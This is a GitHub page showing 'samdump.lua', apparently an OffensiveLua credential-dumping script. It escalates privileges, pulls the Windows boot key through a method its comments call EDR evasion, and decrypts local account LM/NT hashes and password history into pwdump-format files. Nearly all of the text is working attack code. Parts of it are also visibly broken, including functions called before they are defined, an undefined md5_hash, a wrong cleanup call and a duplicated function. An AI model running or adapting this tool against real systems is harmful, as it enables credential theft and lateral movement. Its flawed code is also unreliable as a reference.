-
Notifications
You must be signed in to change notification settings - Fork 31
Expand file tree
/
Copy pathsamdump.lua
More file actions
2482 lines (2111 loc) · 96.4 KB
/
samdump.lua
File metadata and controls
2482 lines (2111 loc) · 96.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
local CONFIG_SUPPRESS_DEBUG = false -- Set to false to enable [DEBUG] output
local ffi = require("ffi")
local bit = require("bit")
-- Ensure all required Windows API functions and structures are declared
local log_filename = nil
local log_file = nil
local results_filename = nil
local results_file = nil
-- RC4 crypt using Windows CryptAPI
local function rc4_crypt(key, data)
local advapi32 = ffi.load("advapi32")
local hProv = ffi.new("HCRYPTPROV[1]")
local ok = advapi32.CryptAcquireContextA(hProv, nil, nil, ffi.C.PROV_RSA_FULL, ffi.C.CRYPT_VERIFYCONTEXT)
if ok == 0 then return nil end
-- RC4 key blob format: PLAINTEXTKEYBLOB (see MS docs)
local blob = ffi.new("uint8_t[20]")
blob[0] = 0x8; blob[1] = 0x2; blob[2] = 0x0; blob[3] = 0x0; -- BLOBHEADER
blob[4] = 0x1; -- Version
blob[5] = 0x0; -- Reserved
blob[6] = 0x1; -- ALG_ID = CALG_RC4
blob[7] = 0x68; blob[8] = 0x0; blob[9] = 0x0; blob[10] = 0x0; -- CALG_RC4
blob[11] = 16; -- key length
for i = 0, 15 do blob[12 + i] = key:byte(i + 1) end
local hKey = ffi.new("HCRYPTKEY[1]")
ok = advapi32.CryptImportKey(hProv[0], blob, 20, nil, 0, hKey)
if ok == 0 then advapi32.CryptReleaseContext(hProv[0], 0); return nil end
local buf = ffi.new("uint8_t[?]", #data)
ffi.copy(buf, data, #data)
local buf_len = ffi.new("DWORD[1]", #data)
ok = advapi32.CryptDecrypt(hKey[0], nil, true, 0, buf, buf_len)
advapi32.CryptDestroyHash(hKey[0])
advapi32.CryptReleaseContext(hProv[0], 0)
if ok == 0 then return nil end
return ffi.string(buf, buf_len[0])
end
local advapi32 = ffi.load("advapi32")
local kernel32 = ffi.load("kernel32")
local ntdll = ffi.load("ntdll")
local netapi32 = ffi.load("netapi32")
local shell32 = ffi.load("shell32")
-- Main routine
local function main()
local computer_name = get_computer_name()
local timestamp = get_timestamp()
init_log_file(computer_name, timestamp)
log("Starting SAM dump...")
if not check_system_context() then
error_log("Not running as SYSTEM. SAM registry access will fail.")
close_log_file()
return
end
enable_backup_privileges()
local bootkey_hex = extract_bootkey_direct()
if not bootkey_hex then
error_log("Failed to extract bootkey.")
close_log_file()
return
end
log("Bootkey extracted: " .. bootkey_hex)
local sam_users = read_sam_users_direct()
if not sam_users or #sam_users == 0 then
error_log("No SAM users found.")
close_log_file()
return
end
log("Found " .. #sam_users .. " SAM user records.")
for _, user_data in ipairs(sam_users) do
local parsed = parse_sam_v_record(user_data.v_data, user_data.rid)
if parsed then
local decrypted = decrypt_sam_hashes(parsed, bootkey_hex)
log(string.format("User: %s RID: %s LM: %s NT: %s", decrypted.username, decrypted.rid, decrypted.lm_hash or "", decrypted.nt_hash or ""))
else
error_log("Failed to parse V record for RID " .. user_data.rid)
end
end
close_log_file()
log("SAM dump complete.")
end
main()
local function get_temp_path()
local buffer = ffi.new("char[260]") -- MAX_PATH
local result = kernel32.GetTempPathA(260, buffer)
if result > 0 then
local temp_path = ffi.string(buffer)
-- Remove trailing backslash if present
if string.sub(temp_path, -1) == "\\" then
temp_path = string.sub(temp_path, 1, -2)
end
return temp_path
end
-- Fallback paths that work from SYSTEM context
local fallback_paths = {
"C:\\Windows\\Temp",
"C:\\Temp",
"."
}
for _, path in ipairs(fallback_paths) do
local test_file = path .. "\\test_write_" .. os.time() .. ".tmp"
local f = io.open(test_file, "w")
if f then
f:close()
os.remove(test_file)
return path
end
end
return "." -- final fallback to current directory
end
-- Logging functions
local function init_log_file(computer_name, timestamp)
local temp_path = get_temp_path()
log_filename = string.format("%s\\%s_samdump_%s.log", temp_path, computer_name, timestamp)
results_filename = string.format("%s\\%s_samdump_%s.txt", temp_path, computer_name, timestamp)
log_file = io.open(log_filename, "w")
if log_file then
log_file:write("OffensiveLua SAM Dumper Log\n")
log_file:write("===========================\n\n")
log_file:flush()
end
results_file = io.open(results_filename, "w")
if results_file then
results_file:write("-- OffensiveLua SAM Dumper Results --\n")
results_file:write("-- pwdump format for offline recovery tools --\n\n")
results_file:flush()
end
end
local function close_log_file()
if log_file then
log_file:close()
log_file = nil
end
if results_file then
results_file:close()
results_file = nil
end
end
local function write_output(level, message)
local timestamp = os.date("%Y-%m-%d %H:%M:%S")
local formatted = string.format("[%s] [%s] %s", timestamp, level, message)
print(formatted)
if log_file then
log_file:write(formatted .. "\n")
log_file:flush()
end
end
local function log(message)
write_output("INFO", message)
if log_file then
log_file:flush()
end
end
local function error_log(message)
write_output("ERROR", message)
end
local function debug_log(message)
if not CONFIG_SUPPRESS_DEBUG then
write_output("DEBUG", message)
end
end
-- Raw print function for headers and special output
local function raw_print(message)
print(message)
end
-- Utility functions
local function bytes_to_hex(data, len)
local hex = ""
for i = 1, len or #data do
hex = hex .. string.format("%02x", string.byte(data, i))
end
return hex
end
local function hex_to_bytes(hex)
local bytes = ""
for i = 1, #hex, 2 do
local byte_hex = string.sub(hex, i, i + 1)
bytes = bytes .. string.char(tonumber(byte_hex, 16))
end
return bytes
end
local function get_computer_name()
local buffer = ffi.new("char[256]")
local size = ffi.new("DWORD[1]", 256)
if kernel32.GetComputerNameA(buffer, size) ~= 0 then
return ffi.string(buffer)
end
return "unknown"
end
local function get_timestamp()
return os.date("%Y%m%d_%H%M%S")
end
-- Check if running as SYSTEM user
local function check_system_context()
-- Try to access a SYSTEM-only registry key
local hklm = ffi.cast("HKEY", 0x80000002) -- HKEY_LOCAL_MACHINE
local sam_path = "SAM\\SAM\\Domains\\Account"
local sam_path_cstr = ffi.new("char[?]", #sam_path + 1)
ffi.copy(sam_path_cstr, sam_path, #sam_path)
local test_key = ffi.new("HKEY[1]")
local result = advapi32.RegOpenKeyExA(hklm, sam_path_cstr, 0, 0x20019, test_key) -- KEY_READ
if result == 0 then
advapi32.RegCloseKey(test_key[0])
debug_log("SYSTEM context confirmed - can access live SAM registry")
return true
else
debug_log(string.format("Not SYSTEM context - SAM access denied (error: %d)", result))
return false
end
end
local function is_admin()
local result = shell32.IsUserAnAdmin()
debug_log(string.format("IsUserAnAdmin returned: %d", result))
return result ~= 0
end
-- Privilege escalation
local function enable_privilege(privilege_name)
local current_process = kernel32.GetCurrentProcess()
local token = ffi.new("HANDLE[1]")
if advapi32.OpenProcessToken(current_process, 0x0020, token) == 0 then
debug_log("Failed to open process token")
return false
end
-- Create a proper C string buffer for the privilege name
local privilege_len = #privilege_name
local privilege_cstr = ffi.new("char[?]", privilege_len + 1)
ffi.copy(privilege_cstr, privilege_name, privilege_len)
local luid = ffi.new("int64_t[1]")
if advapi32.LookupPrivilegeValueA(nil, privilege_cstr, luid) == 0 then
debug_log("Failed to lookup privilege: " .. privilege_name)
kernel32.CloseHandle(token[0])
return false
end
local tp = ffi.new("TOKEN_PRIVILEGES")
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid[0]
tp.Privileges[0].Attributes = 0x00000002 -- SE_PRIVILEGE_ENABLED
local result = advapi32.AdjustTokenPrivileges(token[0], 0, tp, ffi.sizeof(tp), nil, nil)
kernel32.CloseHandle(token[0])
debug_log(string.format("AdjustTokenPrivileges result for %s: %d", privilege_name, result))
return result ~= 0
end
-- Enhanced backup privilege enabling for registry operations
local function enable_backup_privileges()
debug_log("Enabling comprehensive backup privileges for registry operations...")
-- Enable on process token
local success1 = enable_privilege("SeBackupPrivilege")
local success2 = enable_privilege("SeRestorePrivilege")
-- Also try to enable on thread token if it exists
local thread_token = ffi.new("HANDLE[1]")
local thread_result = advapi32.OpenThreadToken(kernel32.GetCurrentThread(), 0x0020 + 0x0008, 1, thread_token) -- TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
if thread_result ~= 0 then
debug_log("Found thread token, enabling backup privileges on thread token too...")
-- Enable SeBackupPrivilege on thread token
local luid = ffi.new("int64_t[1]")
local privilege_name_len = #"SeBackupPrivilege"
local privilege_name_cstr = ffi.new("char[?]", privilege_name_len + 1)
ffi.copy(privilege_name_cstr, "SeBackupPrivilege", privilege_name_len)
if advapi32.LookupPrivilegeValueA(nil, privilege_name_cstr, luid) ~= 0 then
local tp = ffi.new("TOKEN_PRIVILEGES")
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid[0]
tp.Privileges[0].Attributes = 0x00000002 -- SE_PRIVILEGE_ENABLED
advapi32.AdjustTokenPrivileges(thread_token[0], 0, tp, ffi.sizeof(tp), nil, nil)
debug_log("SeBackupPrivilege enabled on thread token")
end
-- Enable SeRestorePrivilege on thread token
privilege_name_len = #"SeRestorePrivilege"
privilege_name_cstr = ffi.new("char[?]", privilege_name_len + 1)
ffi.copy(privilege_name_cstr, "SeRestorePrivilege", privilege_name_len)
if advapi32.LookupPrivilegeValueA(nil, privilege_name_cstr, luid) ~= 0 then
local tp = ffi.new("TOKEN_PRIVILEGES")
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid[0]
tp.Privileges[0].Attributes = 0x00000002 -- SE_PRIVILEGE_ENABLED
advapi32.AdjustTokenPrivileges(thread_token[0], 0, tp, ffi.sizeof(tp), nil, nil)
debug_log("SeRestorePrivilege enabled on thread token")
end
kernel32.CloseHandle(thread_token[0])
else
debug_log("No thread token found, using process token only")
end
return success1 and success2
end
-- Direct bootkey extraction using RegQueryInfoKeyA (bypasses EDR detection)
local function extract_bootkey_direct()
debug_log("=== DIRECT BOOTKEY EXTRACTION ===")
debug_log("Using RegQueryInfoKeyA to extract class values (EDR evasion)")
local bootkey_components = {}
local keys = {"JD", "Skew1", "GBG", "Data"}
for i, key_name in ipairs(keys) do
local full_path = string.format("SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s", key_name)
debug_log(string.format("Extracting class value from: %s", full_path))
local hkey = ffi.new("HKEY[1]")
local full_path_cstr = ffi.new("char[?]", #full_path + 1)
ffi.copy(full_path_cstr, full_path, #full_path)
local hklm = ffi.cast("HKEY", 0x80000002)
local result = advapi32.RegOpenKeyExA(hklm, full_path_cstr, 0, 0x20019, hkey)
if result ~= 0 then
debug_log(string.format("Failed to open key %s: error %d", key_name, result))
return nil
end
local class_buffer = ffi.new("char[256]")
local class_size = ffi.new("DWORD[1]", 256)
local query_result = advapi32.RegQueryInfoKeyA(
hkey[0], class_buffer, class_size, nil, nil, nil, nil, nil, nil, nil, nil, nil)
advapi32.RegCloseKey(hkey[0])
if query_result == 0 and class_size[0] > 0 then
local class_value = ffi.string(class_buffer, class_size[0])
debug_log(string.format("%s class value: %s", key_name, class_value))
bootkey_components[i] = class_value
else
debug_log(string.format("Failed to query class for %s: error %d", key_name, query_result))
return nil
end
end
local combined = table.concat(bootkey_components)
debug_log("Combined bootkey string: " .. combined)
local bootkey_bytes = {}
for i = 1, #combined, 2 do
local byte_hex = string.sub(combined, i, i + 1)
local byte_val = tonumber(byte_hex, 16)
if byte_val then
table.insert(bootkey_bytes, byte_val)
else
debug_log("Invalid hex in bootkey: " .. byte_hex)
return nil
end
end
local scramble_table = {0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7}
local scrambled_bytes = {}
for i = 1, 16 do
local src_index = scramble_table[i] + 1
if src_index <= #bootkey_bytes then
scrambled_bytes[i] = bootkey_bytes[src_index]
else
scrambled_bytes[i] = 0
end
end
local scrambled_bootkey = ""
local bootkey_hex = ""
for i = 1, #scrambled_bytes do
scrambled_bootkey = scrambled_bootkey .. string.char(scrambled_bytes[i])
bootkey_hex = bootkey_hex .. string.format("%02x", scrambled_bytes[i])
end
debug_log("Real bootkey extracted (direct API): " .. bootkey_hex)
return bootkey_hex
end
-- Read binary registry value
local function read_registry_binary_value(hkey, value_name)
local ok, result = pcall(function()
local value_name_cstr = ffi.new("char[?]", #value_name + 1)
ffi.copy(value_name_cstr, value_name, #value_name)
local value_type = ffi.new("DWORD[1]")
local data_size = ffi.new("DWORD[1]")
local res = advapi32.RegQueryValueExA(hkey, value_name_cstr, nil, value_type, nil, data_size)
if res ~= 0 or data_size[0] == 0 then
return nil
end
if data_size[0] > 4096 then return nil end -- sanity check
local data_buffer = ffi.new("uint8_t[?]", data_size[0])
res = advapi32.RegQueryValueExA(hkey, value_name_cstr, nil, value_type, data_buffer, data_size)
if res ~= 0 then
return nil
end
local data_str = ""
for i = 0, data_size[0] - 1 do
data_str = data_str .. string.char(data_buffer[i])
end
return data_str
end)
if ok then return result else return nil end
end
-- Read individual user data from SAM registry
local function read_sam_user_data_direct(sam_users_key, rid_str)
debug_log(string.format("=== READING USER DATA FOR RID %s ===", rid_str))
-- Open the specific user's RID subkey
local rid_path_cstr = ffi.new("char[?]", #rid_str + 1)
ffi.copy(rid_path_cstr, rid_str, #rid_str)
local user_key = ffi.new("HKEY[1]")
local result = advapi32.RegOpenKeyExA(sam_users_key, rid_path_cstr, 0, 0x20019, user_key)
if result ~= 0 then
debug_log(string.format("Failed to open user RID %s: error %d", rid_str, result))
return nil
end
debug_log(string.format("Successfully opened registry key for RID %s", rid_str))
-- Read the "V" value (user data structure)
local v_data = read_registry_binary_value(user_key[0], "V")
if not v_data then
debug_log(string.format("Failed to read V value for RID %s", rid_str))
advapi32.RegCloseKey(user_key[0])
return nil
end
-- Read the "F" value (account control flags)
local f_data = read_registry_binary_value(user_key[0], "F")
if not f_data then
debug_log(string.format("Warning: Failed to read F value for RID %s", rid_str))
end
advapi32.RegCloseKey(user_key[0])
debug_log(string.format("Successfully read SAM data for RID %s (V: %d bytes, F: %s bytes)",
rid_str, v_data and #v_data or 0, f_data and #f_data or "0"))
return {
rid = rid_str,
rid_int = tonumber(rid_str, 16),
v_data = v_data,
f_data = f_data
}
end
-- Direct live SAM registry reading (no file operations needed!)
local function read_sam_users_direct()
debug_log("=== DIRECT LIVE SAM REGISTRY ACCESS ===")
debug_log("Reading SAM user data directly from live registry (SYSTEM context)")
local sam_users = {}
local hklm = ffi.cast("HKEY", 0x80000002) -- HKEY_LOCAL_MACHINE
-- Open SAM\SAM\Domains\Account\Users
local sam_users_path = "SAM\\SAM\\Domains\\Account\\Users"
local sam_users_path_cstr = ffi.new("char[?]", #sam_users_path + 1)
ffi.copy(sam_users_path_cstr, sam_users_path, #sam_users_path)
local sam_users_key = ffi.new("HKEY[1]")
local result = advapi32.RegOpenKeyExA(hklm, sam_users_path_cstr, 0, 0x20019, sam_users_key) -- KEY_READ
if result ~= 0 then
debug_log(string.format("Failed to open SAM Users key: error %d (Need SYSTEM context!)", result))
return nil
end
debug_log("Successfully opened live SAM\\Users registry key")
-- Enumerate user subkeys (RIDs)
local index = 0
while true do
local subkey_name = ffi.new("char[256]")
local subkey_name_size = ffi.new("DWORD[1]")
subkey_name_size[0] = 256
local enum_result = advapi32.RegEnumKeyExA(
sam_users_key[0], index, subkey_name, subkey_name_size,
nil, nil, nil, nil
)
if enum_result ~= 0 then
break -- No more subkeys
end
local rid_str = ffi.string(subkey_name, subkey_name_size[0])
debug_log(string.format("Found SAM user RID: %s", rid_str))
-- Skip Names key, we want RID keys (hex numbers)
if rid_str ~= "Names" and rid_str:match("^%x+$") then
debug_log(string.format("Processing user RID: %s (decimal: %d)", rid_str, tonumber(rid_str, 16)))
local user_data = read_sam_user_data_direct(sam_users_key[0], rid_str)
if user_data then
debug_log(string.format("Successfully read data for RID %s", rid_str))
table.insert(sam_users, user_data)
else
debug_log(string.format("Failed to read data for RID %s", rid_str))
end
else
debug_log(string.format("Skipping non-user key: %s", rid_str))
end
index = index + 1
end
advapi32.RegCloseKey(sam_users_key[0])
debug_log(string.format("Enumerated %d total registry keys, found %d valid user records", index, #sam_users))
return sam_users
end
-- Parse SAM V record structure to extract user information
local function parse_sam_v_record(v_data, rid)
debug_log(string.format("=== PARSING SAM V RECORD FOR RID %s ===", rid))
debug_log(string.format("V record size: %d bytes", #v_data))
if not v_data or #v_data < 0x30 then
debug_log("Invalid V record data - too short")
return nil
end
-- Dump first 64 bytes of V record for analysis
local hex_dump = ""
for i = 1, math.min(64, #v_data) do
hex_dump = hex_dump .. string.format("%02x", v_data:byte(i))
if i % 16 == 0 then hex_dump = hex_dump .. "\n" end
end
debug_log(string.format("V Record hex dump (first 64 bytes):\n%s", hex_dump))
-- V record header offsets (SAM structure) - Windows format
-- Manual little-endian DWORD extraction (LuaJIT compatible)
local function read_dword_le(data, offset)
local b1 = data:byte(offset + 1)
local b2 = data:byte(offset + 2)
local b3 = data:byte(offset + 3)
local b4 = data:byte(offset + 4)
return b1 + (b2 * 256) + (b3 * 65536) + (b4 * 16777216)
end
local username_offset = read_dword_le(v_data, 0x0C)
local username_length = read_dword_le(v_data, 0x10)
local fullname_offset = read_dword_le(v_data, 0x18)
local fullname_length = read_dword_le(v_data, 0x1C)
local comment_offset = read_dword_le(v_data, 0x24)
local comment_length = read_dword_le(v_data, 0x28)
-- Password history and hash locations (may vary by Windows version)
local lm_hash_offset, lm_hash_length, nt_hash_offset, nt_hash_length
-- Try standard offsets first
if #v_data >= 0xB0 then
lm_hash_offset = read_dword_le(v_data, 0x9C)
lm_hash_length = read_dword_le(v_data, 0xA0)
nt_hash_offset = read_dword_le(v_data, 0xA8)
nt_hash_length = read_dword_le(v_data, 0xAC)
else
-- Shorter V record, try alternative offsets
lm_hash_offset = 0
lm_hash_length = 0
nt_hash_offset = 0
nt_hash_length = 0
end
debug_log(string.format("V Record structure:"))
debug_log(string.format(" Username: offset=0x%X length=%d", username_offset, username_length))
debug_log(string.format(" Fullname: offset=0x%X length=%d", fullname_offset, fullname_length))
debug_log(string.format(" Comment: offset=0x%X length=%d", comment_offset, comment_length))
debug_log(string.format(" LM Hash: offset=0x%X length=%d", lm_hash_offset, lm_hash_length))
debug_log(string.format(" NT Hash: offset=0x%X length=%d", nt_hash_offset, nt_hash_length))
-- Username extraction: extract from V record
local username = ""
if username_length > 0 and username_offset > 0 and username_offset + username_length <= #v_data then
local username_data = v_data:sub(username_offset + 1, username_offset + username_length)
-- Convert UTF-16LE to UTF-8
for i = 1, #username_data, 2 do
local char_code = username_data:byte(i)
if char_code > 0 and char_code < 128 then
username = username .. string.char(char_code)
end
end
debug_log(string.format("Username: '%s'", username))
else
username = "User_" .. rid
end
-- SID extraction: S-1-5-21-domain-SID-RID
local domain_sid = "S-1-5-21-" .. os.getenv("COMPUTERNAME") .. "-" .. rid -- Placeholder, replace with real domain SID extraction if needed
local user_sid = domain_sid .. "-" .. tonumber(rid, 16)
-- Extract fullname
local fullname = ""
if fullname_length > 0 and fullname_offset > 0 and fullname_offset + fullname_length <= #v_data then
local fullname_data = v_data:sub(fullname_offset + 1, fullname_offset + fullname_length)
for i = 1, #fullname_data, 2 do
local char_code = fullname_data:byte(i)
if char_code > 0 and char_code < 128 then
fullname = fullname .. string.char(char_code)
end
end
debug_log(string.format("Full name: '%s'", fullname))
end
-- Extract encrypted LM hash
local encrypted_lm_hash = nil
if lm_hash_length > 0 and lm_hash_offset > 0 and lm_hash_offset + lm_hash_length <= #v_data then
encrypted_lm_hash = v_data:sub(lm_hash_offset + 1, lm_hash_offset + lm_hash_length)
debug_log(string.format("Found LM hash data: %d bytes at offset 0x%X", lm_hash_length, lm_hash_offset))
else
debug_log("No LM hash found (modern Windows)")
end
-- Extract encrypted NT hash
local encrypted_nt_hash = nil
if nt_hash_length > 0 and nt_hash_offset > 0 and nt_hash_offset + nt_hash_length <= #v_data then
encrypted_nt_hash = v_data:sub(nt_hash_offset + 1, nt_hash_offset + nt_hash_length)
debug_log(string.format("Found NT hash data: %d bytes at offset 0x%X", nt_hash_length, nt_hash_offset))
-- Dump NT hash hex for analysis
local nt_hex = ""
for i = 1, math.min(32, #encrypted_nt_hash) do
nt_hex = nt_hex .. string.format("%02x", encrypted_nt_hash:byte(i))
end
debug_log(string.format("NT hash hex (first 32 bytes): %s", nt_hex))
else
debug_log("No NT hash found")
end
debug_log(string.format("Successfully parsed user: %s (fullname: %s)", username, fullname))
return {
username = username,
fullname = fullname,
rid = rid,
rid_int = tonumber(rid, 16),
encrypted_lm_hash = encrypted_lm_hash,
encrypted_nt_hash = encrypted_nt_hash
}
end
-- Windows SAM hash decryption (proper algorithm)
-- NOTE: This requires 'md5' and 'rc4' Lua modules. If not present, fallback to legacy xor logic.
local function decrypt_hash_rc4(encrypted_hash, bootkey, rid, hash_type)
debug_log(string.format("=== DECRYPTING %s HASH ===", hash_type))
debug_log(string.format("Encrypted hash length: %d bytes", #encrypted_hash))
if #encrypted_hash < 20 then debug_log("Hash data too short for decryption"); return nil end
local hex_dump = ""; for i = 1, math.min(32, #encrypted_hash) do hex_dump = hex_dump .. string.format("%02x", encrypted_hash:byte(i)); if i % 16 == 0 then hex_dump = hex_dump .. "\n" end end
debug_log(string.format("Encrypted hash hex dump:\n%s", hex_dump))
local revision = encrypted_hash:byte(1)
debug_log(string.format("Hash revision: %d", revision))
if revision == 2 then
debug_log("Modern Windows hash format detected")
local hash_data = encrypted_hash:sub(25, 40)
if #hash_data >= 16 then
local result = ""; for i = 1, 16 do result = result .. string.format("%02x", hash_data:byte(i)) end
debug_log(string.format("Extracted %s hash: %s", hash_type, result)); return result
end
else
debug_log("Legacy Windows hash format (RC4/MD5)")
local hash_data = encrypted_hash:sub(5, 20)
if #hash_data >= 16 then
-- Prepare key material
local rid_bytes = string.char(bit.band(rid,0xFF), bit.band(bit.rshift(rid,8),0xFF), bit.band(bit.rshift(rid,16),0xFF), bit.band(bit.rshift(rid,24),0xFF))
local key_material = bootkey .. rid_bytes .. (hash_type == "NT" and "NTPASSWORD" or "LMPASSWORD")
local rc4key = md5_hash(key_material)
if not rc4key then debug_log("MD5 key derivation failed"); return nil end
local decrypted = rc4_crypt(rc4key, hash_data)
if not decrypted then debug_log("RC4 decryption failed"); return nil end
local result = bytes_to_hex(decrypted, 16)
debug_log(string.format("Decrypted %s hash: %s", hash_type, result)); return result
end
end
debug_log(string.format("Failed to decrypt %s hash", hash_type)); return nil
end
-- Decrypt SAM password hashes using bootkey and RID
-- Extract password history from user V record
local function extract_password_history(user_data, bootkey_hex)
if not user_data.v_data or #user_data.v_data < 0x200 then return {} end
local history = {}
local v_data = user_data.v_data
for offset = 0x200, #v_data - 24, 4 do
local potential_hash = v_data:sub(offset + 1, offset + 24)
if #potential_hash == 24 then
local revision = potential_hash:byte(1)
if revision == 1 or revision == 2 then
local decrypted_hash = decrypt_hash_rc4(potential_hash, bootkey_hex, user_data.rid_int, "HISTORY")
if decrypted_hash then table.insert(history, decrypted_hash) end
end
end
end
-- No debug output for password history extraction
return history
end
local function decrypt_sam_hashes(user_data, bootkey_hex)
debug_log(string.format("=== DECRYPTING HASHES FOR %s (RID: %s) ===", user_data.username or "unknown", user_data.rid))
if not bootkey_hex then
debug_log("No bootkey available for decryption")
return user_data
end
-- Convert bootkey from hex to binary
local bootkey_binary = {}
for i = 1, #bootkey_hex, 2 do
local hex_byte = bootkey_hex:sub(i, i+1)
table.insert(bootkey_binary, tonumber(hex_byte, 16))
end
-- Decrypt LM hash if present
if user_data.encrypted_lm_hash and #user_data.encrypted_lm_hash >= 20 then
local lm_hash = decrypt_hash_rc4(user_data.encrypted_lm_hash, bootkey_binary, user_data.rid_int, "LM")
user_data.lm_hash = lm_hash
debug_log(string.format("LM Hash: %s", lm_hash or "failed"))
else
user_data.lm_hash = "aad3b435b51404eeaad3b435b51404ee" -- Empty LM hash
debug_log("LM Hash: empty (modern Windows)")
end
-- Decrypt NT hash if present
if user_data.encrypted_nt_hash and #user_data.encrypted_nt_hash >= 20 then
local nt_hash = decrypt_hash_rc4(user_data.encrypted_nt_hash, bootkey_binary, user_data.rid_int, "NT")
user_data.nt_hash = nt_hash
debug_log(string.format("NT Hash: %s", nt_hash or "failed"))
else
user_data.nt_hash = "31d6cfe0d16ae931b73c59d7e0c089c0" -- Empty NT hash
debug_log("NT Hash: empty")
end
-- Extract password history if available
user_data.password_history = extract_password_history(user_data, bootkey_hex)
-- Write pwdump output to results file
if results_file then
local line = string.format("%s:%s:%s:%s:::", user_data.username, user_data.rid, user_data.lm_hash or "aad3b435b51404eeaad3b435b51404ee", user_data.nt_hash or "31d6cfe0d16ae931b73c59d7e0c089c0")
results_file:write(line .. "\n")
if user_data.password_history and #user_data.password_history > 0 then
for idx, hist_hash in ipairs(user_data.password_history) do
results_file:write(string.format("%s_history%d:%s:::%s\n", user_data.username, idx, user_data.rid, hist_hash))
end
end
results_file:flush()
end
-- Write to log file
if log_file then
local ts = os.date("%Y-%m-%d %H:%M:%S")
log_file:write(string.format("%s:%s:%s:%s:::\n", user_data.username, user_data.rid, user_data.lm_hash or "aad3b435b51404eeaad3b435b51404ee", user_data.nt_hash or "31d6cfe0d16ae931b73c59d7e0c089c0"))
if user_data.password_history and #user_data.password_history > 0 then
for idx, hist_hash in ipairs(user_data.password_history) do
log_file:write(string.format("%s_history%d:%s:::%s\n", user_data.username, idx, user_data.rid, hist_hash))
end
end
log_file:flush()
end
return user_data
end
-- Extract password history from user V record
local function extract_password_history(user_data, bootkey_hex)
debug_log(string.format("=== EXTRACTING PASSWORD HISTORY FOR %s ===", user_data.username))
if not user_data.v_data or #user_data.v_data < 0x200 then debug_log("V record too small for password history"); return {} end
local history = {}
local v_data = user_data.v_data
for offset = 0x200, #v_data - 24, 4 do
local potential_hash = v_data:sub(offset + 1, offset + 24)
if #potential_hash == 24 then
local revision = potential_hash:byte(1)
if revision == 1 or revision == 2 then
debug_log(string.format("Found potential password history hash at offset 0x%X", offset))
local decrypted_hash = decrypt_hash_rc4(potential_hash, bootkey_hex, user_data.rid_int, "HISTORY")
if decrypted_hash then table.insert(history, decrypted_hash) end
end
